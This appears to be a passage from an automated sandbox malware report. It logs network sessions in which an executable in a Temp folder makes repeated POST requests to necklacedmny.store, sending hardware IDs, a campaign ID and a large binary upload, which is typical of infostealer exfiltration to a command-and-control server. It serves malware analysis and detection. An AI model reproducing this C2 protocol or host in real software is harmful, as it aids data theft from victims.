2024-11-01 04:02:37 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nt2ss5v0sjb0957ov7b63f1klf; expires=Mon, 24-Feb-2025 21:49:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=91HyaBNWbthUtTKSDQBORXpzDcWwsiivFPkq0i4%2F1q9h76uPCoGi7NgCs2iFVcMJ4Bo3TjgdfwXEJ%2BknPuS8tbcJHqdRZg%2B4bV7q5n1DFT0naEJ2fyKk3Q8SxSe%2BjXY2z6DVICM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd856e034686-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1089&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=2711610&cwnd=251&unsent_bytes=0&cid=42893333e0930ff7&ts=903&x=0"
2024-11-01 04:02:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:02:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	59869	188.114.96.3	443	7080	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:40 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-11-01 04:02:40 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:02:40 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-11-01 04:02:40 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1v58emco3ag86ee6h4spsn164m; expires=Mon, 24-Feb-2025 21:49:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NIvZk060SmZbRnGzUHqFQRF1%2Fbj0ilwBo5XRdz43ZTu%2BuY42RRJZk3OpRbjmc7giASCePKNpsqFhHQD8YCIWP8bpbUpWLtWd3gSjwLHFPhFKbl%2B5E3joP4w06ylcf0T23rHOX3s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd987b542cbc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1844&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21536&delivery_rate=1539606&cwnd=251&unsent_bytes=0&cid=32d5993de7521353&ts=731&x=0"
2024-11-01 04:02:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:02:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	59883	188.114.96.3	443	7080	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:47 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1334 Host: necklacedmny.store
2024-11-01 04:02:47 UTC	1334	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:02:47 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mmvlle0mb3vs2o9tds52p9jf52; expires=Mon, 24-Feb-2025 21:49:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gPsVdbBPe93SQt0h5voo8nmq%2BgrYhTDRD5DXTuP1EoRx0uqIfV9%2B3O3b4WA2E3z470LLRJBsFB4W8lzcDinw98j%2BKzFJMEaCA7vLWIBTLD%2BY0rfvU5GSlbMUHGhzYeJGqQs%2B2l4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fdc4eb2d6c2b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1030&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2253&delivery_rate=2795366&cwnd=227&unsent_bytes=0&cid=a8feaba525134710&ts=506&x=0"
2024-11-01 04:02:47 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:02:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	59885	188.114.96.3	443	7080	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:49 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 580142 Host: necklacedmny.store
2024-11-01 04:02:49 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:02:49 UTC	15331	OUT	Data Raw: b3 4d c6 94 3a 6d d4 5c 60 44 66 3b 5f 4d 0e d3 a9 46 b8 7d 18 16 10 5d 79 e4 ef 92 bf a4 b4 78 92 a3 a2 1c 2c 08 fc 2c e2 9a 03 04 c0 1b 21 3b b5 5a 70 3d c4 e9 c0 98 c6 ed 0a d1 75 8d fa 6d e6 d6 23 09 01 79 b1 65 2c e1 5e a8 b9 5e 80 30 49 8a 54 69 f2 2e b0 b4 6c e7 7e 79 5a b9 49 90 90 de f9 ea 71 21 0b 23 55 d8 f7 e0 13 e6 bb 42 87 3e 2e 4f 9c 56 8e ae 12 04 62 95 93 cf f3 01 75 aa 01 ab 5d 7e 6a c1 a1 d7 e0 d7 d3 d5 4a d7 ff e4 50 b0 38 67 e4 f5 83 50 57 51 d6 e2 6f 6a fb 63 f8 a3 13 0c e0 8b f2 ad b6 07 e5 6d 90 9f fb 05 ec dc 98 1d cf 74 59 ff f3 07 65 ee cc 2a bf bb 95 c0 64 37 24 8f 8c de 1b 7b c0 7e a4 ab d4 29 b0 37 ff 2d b4 1d 75 79 0c d8 25 5f fe b7 a1 b3 ae 1a e1 07 1d 60 0e 87 88 4d 6a 3e 02 38 5e 89 00 49 a6 69 83 39 1a eb 9f cc 2a a0 04 Data Ascii: M:m\`Df;_MF}]yx,,!;Zp=um#ye,^^0ITi.l~yZIq!#UB>.OVbu]~jJP8gPWQojcmtYed7${~)7-uy%_`Mj>8^Ii9
2024-11-01 04:02:49 UTC	15331	OUT	Data Raw: b6 9b b8 1d 2e fe 54 7d a3 40 18 85 ea 9a 0e 3f ff 53 3c fa 66 99 dd 76 19 49 51 22 fd 13 e5 fb 65 d3 d8 40 83 b2 d7 f4 ce b2 5f f7 df 87 fb 65 c7 c5 c6 6e 68 9d 47 3e ae 9b e7 20 c2 73 5d 16 7d 9e a3 8b 3a ba 26 cb bc b0 b3 1d fd d7 1e 42 36 6d 81 d8 f6 c1 5c ea d7 a8 12 5d ec 6d 3e 65 56 d0 57 00 9c dd a6 07 b9 77 76 cc 30 9c 36 2b 07 96 2a 77 2c d8 1f e0 b5 0f 05 8f 27 2e dc 54 bc 4c af 5b 9f 5f 1c 34 d3 5b 5c d1 a1 ff d1 02 88 9d 8b 51 47 b4 82 72 32 fd 5f 98 6c 4c 3d 75 be 3a 9c a0 b2 b7 7a a6 be db 64 4f 56 d5 36 34 fc 80 41 a4 24 a1 40 bc 99 57 5b 8d f5 20 43 9e 1b ca eb a6 0f fd ef 39 95 a7 01 7d f7 6f ed f1 d0 0b 02 11 17 40 f8 d0 cd 70 0f c0 96 7d 0a c0 49 33 d0 1f 0e fa af cf f8 20 df 16 03 0a cf 89 db fc bf 87 f3 24 1d 15 b0 79 2d 8a a0 67 41 Data Ascii: .T}@?S<fvIQ"e@_enhG> s]}:&B6m\]m>eVWwv06+*w,'.TL[_4[\QGr2_lL=u:zdOV64A$@W[ C9}o@p}I3 $y-gA
2024-11-01 04:02:49 UTC	15331	OUT	Data Raw: 51 e1 fc 1b 9d 7d b9 47 09 10 fc b7 a4 d0 d1 f1 30 7c b4 57 ec 9f fe ee 61 a9 f2 1c 15 8a e0 e1 e7 b0 93 b2 4a d7 07 ed 7a 4a 68 27 60 59 95 6b 62 fc 56 75 47 cc 0c 95 bf 2a dd cb 04 ed 65 82 c5 d2 76 4c 21 07 60 a9 93 1d 5a 03 78 94 6d d4 27 56 54 10 e4 a2 3e 88 54 8c 17 47 ef d9 cd 2e 3c ca e4 3b 7c 64 bc 82 ae 30 d3 92 25 af a4 e0 1c e6 00 ae c0 32 eb 8c fc 05 1c 62 7b 8d 41 83 cb 2d 84 df 3d fa 99 ed 64 ae 53 aa 07 4f f2 53 38 ad 2b 4c 8a 03 ff c2 ca 57 ec c6 4a fd ab 03 56 cb 2a be a9 92 b6 d4 02 1c 53 aa 9f 9f 7c f0 83 73 10 1c 09 b9 24 02 78 9b 32 48 a4 21 41 1a d8 a5 5c cc 08 14 6a b2 37 76 54 f3 cd 0a b2 94 ae e9 2e 03 84 fd db 5a 51 f3 ec 85 12 c1 d7 62 40 f4 e0 d5 11 47 65 b0 d1 c3 09 e6 48 72 57 67 7d 8a 3e b0 a6 85 38 5b e8 8a 75 55 6a 59 0e Data Ascii: Q}G0\|WaJzJh'`YkbVuGevL!`Zxm'VT>TG.<;\|d0%2b{A-=dSOS8+LWJVS\|s$x2H!A\j7vT.ZQb@GeHrWg}>8[uUjY
2024-11-01 04:02:49 UTC	15331	OUT	Data Raw: ea 3e 3f 10 df 38 04 4e 84 48 7e f7 d8 5c 25 ab ab 22 6a ed 9d bc 1e a3 d3 43 3c e7 ae c9 a5 9c 54 e8 e6 cb 4b 12 5e 68 6b 8c 9a e4 f7 a3 37 e4 24 13 bf e3 d0 40 4b 42 30 36 66 0f c6 8b 75 91 81 6a 8f 09 35 35 2d 87 95 1e 8c 3a a9 20 b3 be af 7d ac 5a 9f 63 ea dd ae 8f e0 e3 0e 3a e1 3b de 7f 58 66 7b fe 13 03 2f bf fb 7a ce 44 76 ac cb 9d a2 cf a7 75 45 ee 3f d4 23 38 38 d0 7a 1a 6f 1e 22 0e ef 6f d6 08 27 1c 3c 3c f3 9b 76 d4 32 27 32 91 11 5f 60 2c 30 2e 56 63 af 9b b7 70 66 34 4b 5f c0 cb 57 43 3e 9a 7f 25 bf 43 fd f8 ee 76 38 5e 60 97 d6 e5 d3 c4 cc 08 fc f3 7b ed 5d b9 cb 9c 12 c1 13 f3 3e 97 9d a3 30 c3 d0 3d 79 8c a0 14 62 bd 21 33 98 5d ac 91 fb 42 0a 8f 39 07 f2 f6 08 46 29 53 2a 2e da f5 47 21 16 12 67 6b f5 15 bd ff ef 54 fd ff ef 02 a9 90 e5 Data Ascii: >?8NH~\%"jC<TK^hk7$@KB06fuj55-: }Zc:;Xf{/zDvuE?#88zo"o'<<v2'2_`,0.Vcpf4K_WC>%Cv8^`{]>0=yb!3]B9F)S*.G!gkT
2024-11-01 04:02:49 UTC	15331	OUT	Data Raw: 01 cd 67 20 54 62 4a fd 22 44 36 ca ae 19 96 e0 c7 f6 b8 83 8c b8 dc 57 d9 d5 30 85 f8 8a f5 b0 13 8e 9f bd 61 ab 4f 7b 13 42 bd c8 5f 2d 04 67 92 d8 bc fa c0 27 b7 a1 19 b5 c5 c2 f5 6f a6 07 c9 96 dc e7 9c 94 d2 fe 11 c2 9b 99 42 8d bd 52 6f 68 c9 bb 1d 75 2e df 2d 7e f7 5a 17 4d a6 eb 80 ba f0 98 d9 8b b3 d4 65 be a1 7c 54 f8 59 c2 a3 3d 1e 41 a9 48 13 85 aa 6b 3e ec e4 c1 b0 b1 d8 36 fb 21 03 1e 94 db 72 64 3d e5 b9 93 87 cf 46 72 0d f1 0c f5 f9 bb b8 93 af 47 05 70 c8 06 53 86 dc 58 55 02 26 2a 00 07 dc 9a cc 65 28 da 99 b0 87 26 be d0 44 5b 02 7d 7c 86 1a 04 41 dc ab c2 2b 87 a7 c6 02 49 fd aa 73 83 a1 46 4a 3f 9b 36 4c 41 a3 85 6a 62 48 3c 12 5b b2 22 a0 af 87 5c db bc e0 9b 3c 34 9b 14 b3 d3 b7 a8 ba f2 d3 3f 28 b5 97 ea 77 8d e4 94 56 f9 a0 b9 08 Data Ascii: g TbJ"D6W0aO{B_-g'oBRohu.-~ZMe\|TY=AHk>6!rd=FrGpSXU&*e(&D[}\|A+IsFJ?6LAjbH<["\<4?(wV
2024-11-01 04:02:49 UTC	15331	OUT	Data Raw: c3 10 f9 97 11 78 b6 20 a8 11 c9 58 65 fb 99 4d da 0e f1 d2 ea 5d 2b eb 5d 89 9a cc 13 88 e8 93 68 2a 08 eb 71 a1 56 33 2b 98 71 4b c7 ee 89 ea c6 dd db ff b9 e0 91 38 8d 7f 89 5f 35 56 89 c6 b3 2c bc d6 7b 05 af b9 e3 c5 d7 2a 30 3c 62 19 e1 11 bd 2a b4 e4 20 c0 d0 36 c8 eb 3e 02 de 1f 55 15 58 58 9e 5c ce aa d1 8d c1 cc 5a 0e 9b 48 23 49 ff 52 52 d6 90 d7 99 2a 11 a2 74 cb e5 64 8a 11 c0 37 13 a9 15 b6 65 3e 67 63 89 55 87 b7 7b be 53 64 77 d2 5b 86 3b df 27 6a f9 96 7a 72 e6 dd 39 3e f4 a5 c5 cf 94 75 f7 77 3f d4 17 7f 02 52 86 0f 23 49 ff 05 82 b6 3f a0 f4 4a cf 8e 18 92 66 7e d7 cb e5 16 f0 30 d2 02 4b cd 9b f6 7e 13 df 39 42 c5 e4 4c 4c 88 29 0e b0 8b 6f 65 bc e8 cc d9 4c fe 6e ab 04 65 d9 64 78 7f f7 4d 47 81 3f 65 48 4e fe 9b ab 20 a3 cd 12 07 3e Data Ascii: x XeM]+]hqV3+qK8_5V,{0<b* 6>UXX\ZH#IRR*td7e>gcU{Sdw[;'jzr9>uw?R#I?Jf~0K~9BLL)oeLnedxMG?eHN >
2024-11-01 04:02:49 UTC	15331	OUT	Data Raw: c8 9e e2 f0 05 76 e7 9b 3a 6d ce 28 46 5b 43 c0 f4 9a ab 20 d4 c4 2a ac df fd 6e e1 4e 42 cb ba 8f 27 bb 6a ae 1f 07 df 32 f4 17 08 84 c0 ca f6 6a 15 e6 57 d9 2d bc df b1 ca f2 c1 ec e2 45 ca e2 b2 7a 20 f3 66 05 42 c8 8b c8 17 25 14 9c ea f4 2d 13 fc 08 d8 c9 d7 a7 f5 e4 97 9e 5a 50 8d 20 d2 b9 56 3b 24 3e 3d 64 41 bd 0d 07 bd 04 0c 0c 66 d6 3b 9a 59 8e 07 79 bb a4 c0 5e e6 d1 86 7a 77 40 d9 87 cf 88 8d 1e 10 01 85 d9 ab fe ad 47 cc 18 af 04 c0 9e 16 58 1d 9f 79 0c 38 89 63 03 9f 8a 75 cd f0 80 03 3c ae 58 e0 72 18 b6 07 76 a3 23 70 29 e6 a5 18 fe cc 3b da b7 51 1f b7 e8 57 5d 04 70 89 9d ae cc 7e 78 6d b0 c9 8c 80 b2 ff 4c e1 83 c6 8f 91 d1 1c ff fd 78 15 86 4a ab 89 5c fb 4f cc 0e c6 ad 0b 4a 58 80 49 93 6d 34 22 1b ac 3a 61 4e 01 b2 39 39 21 c9 53 82 Data Ascii: v:m(F[C *nNB'j2jW-Ez fB%-ZP V;$>=dAf;Yy^zw@GXy8cu<Xrv#p);QW]p~xmLxJ\OJXIm4":aN99!S
2024-11-01 04:02:49 UTC	15331	OUT	Data Raw: 74 c7 0b b7 a1 97 04 50 f0 86 a4 75 e9 7e 62 ec 47 e3 f5 95 07 e5 e7 8e ea 99 a3 3f ea 1c 96 92 f2 de 89 c2 bb 7b 13 0e 6b b8 fd 1d 57 73 36 8f 5a 8c c1 68 46 6b 37 32 a6 f0 0e 20 ec 0f a4 58 fb 01 7a 30 ee 7f 95 76 92 d4 89 22 cf 20 65 15 46 e7 1b e9 2b 01 ad 90 ac 9b 84 1e 5b 67 79 4b 1c 69 88 a6 67 db b4 8d 02 68 8c 18 dd 3a a7 35 3c 5a ef dc c4 48 a7 a4 62 87 6c 74 f2 16 92 c6 c5 6f f1 49 22 76 21 a5 ec 9c 06 a9 1d 42 f3 e2 02 be 16 57 43 af c4 50 2d aa f4 36 d4 93 46 39 f2 fd 2d 1f f1 41 98 67 be 4f 9f 26 81 ba f7 80 56 fb 46 e5 cc 0f 92 dd 11 d3 a9 cd af c1 43 15 3f 48 3a 22 ae 57 20 85 3b 16 75 a3 79 f3 7c d6 b1 26 33 a0 6b e6 cb 20 03 05 ae b4 28 0e d0 5e f3 bc 4f 9f a3 b9 80 18 7f 5e ef 5f e9 c0 6e 92 fd 53 8d 5c 8d f0 be 6b 06 63 75 9d 84 42 5b Data Ascii: tPu~bG?{kWs6ZhFk72 Xz0v" eF+[gyKigh:5<ZHbltoI"v!BWCP-6F9-AgO&VFC?H:"W ;uy\|&3k (^O^_nS\kcuB[
2024-11-01 04:02:49 UTC	15331	OUT	Data Raw: 5a 5a 85 6c 7e 2e 10 4b 2f 33 1f d5 0f 6d 5e e6 5e 04 64 01 68 bc af ce b0 43 d2 3f de d5 7f d7 43 57 f4 bf f0 13 db f3 f6 15 a2 7e 93 e2 4e 1f 73 90 75 5e 68 0b fb 45 54 85 db 8b 50 9e 24 6f 33 70 82 ac 00 19 b6 6e b4 16 e5 ef dd 0b 5b 54 ad f5 ac cb 5b 3f 98 79 1b c6 7b c6 58 49 ec 59 4f d1 c8 a1 99 2e 29 5f 40 39 9b 07 ca 20 7e 9e 92 1d a2 09 03 f7 9d f9 44 14 5c 51 8c e9 7b 60 97 28 de ff ef 2b d4 55 a9 9e 5a da 87 40 e1 b9 e3 36 74 5a 07 49 05 05 b2 54 2f 50 61 38 1c b5 03 2c a0 d6 76 b1 72 69 54 14 8c 8a 47 d1 f0 30 61 10 ae c0 d8 9b 09 62 df 51 01 b1 c5 1d 00 d8 73 39 88 7f 1b 26 18 43 ea 5b 6d df 47 4e 3a e0 de 5e ab d2 df 1d af 9e 23 dc 72 00 8f 3d 47 71 80 28 5e 3f eb b3 ff 16 7c 20 3c 34 b0 83 05 8c 72 c7 b8 e3 84 cf 61 8b 8a 3a 7e ce d7 d5 82 Data Ascii: ZZl~.K/3m^^dhC?CW~Nsu^hETP$o3pn[T[?y{XIYO.)_@9 ~D\Q{`(+UZ@6tZIT/Pa8,vriTG0abQs9&C[mGN:^#r=Gq(^?\| <4ra:~
2024-11-01 04:02:51 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=be8ngitkmkichqagbja4htr8ep; expires=Mon, 24-Feb-2025 21:49:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NpJx5%2BWM0xzs%2FuMcoG5js6wbcX3%2FLKAi6AQYvIqkE0c5c%2Fsyq11dsOL1LrraqfwoFZSAWuWo0KP5bvgHM16C9GRPVf11E%2BpWoWu8iEVNiC2BpTE3imkgJ%2FiuFay2B0SOeEiy314%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fdd1ecfac871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2064&sent=229&recv=620&lost=0&retrans=0&sent_bytes=2846&recv_bytes=582713&delivery_rate=1366037&cwnd=97&unsent_bytes=0&cid=395f20bf9e79657f&ts=2407&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	59887	188.114.96.3	443	7080	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:52 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 04:02:52 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=B1C864E4CD81B148E614127BB61FCD3A
2024-11-01 04:02:53 UTC	1009	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mejdg80in673hrdpkton9c7jtt; expires=Mon, 24-Feb-2025 21:49:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MRKjdC6AIq6jlDqZSiH1u7qyS8Ajm8bJr6d9ekFcAgnqF8BaRrbFcxKpxYGZ7g%2BeRdsCenvBwpoiHLyDICGsRNgymTgVBkwxXBBF2gyQ1QWj07LMOd7ZEdsl3i4EVLVENp5A2uM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fde7fd554662-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1942&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=1476044&cwnd=251&unsent_bytes=0&cid=3e9e7c14ca3b0379&ts=551&x=0"
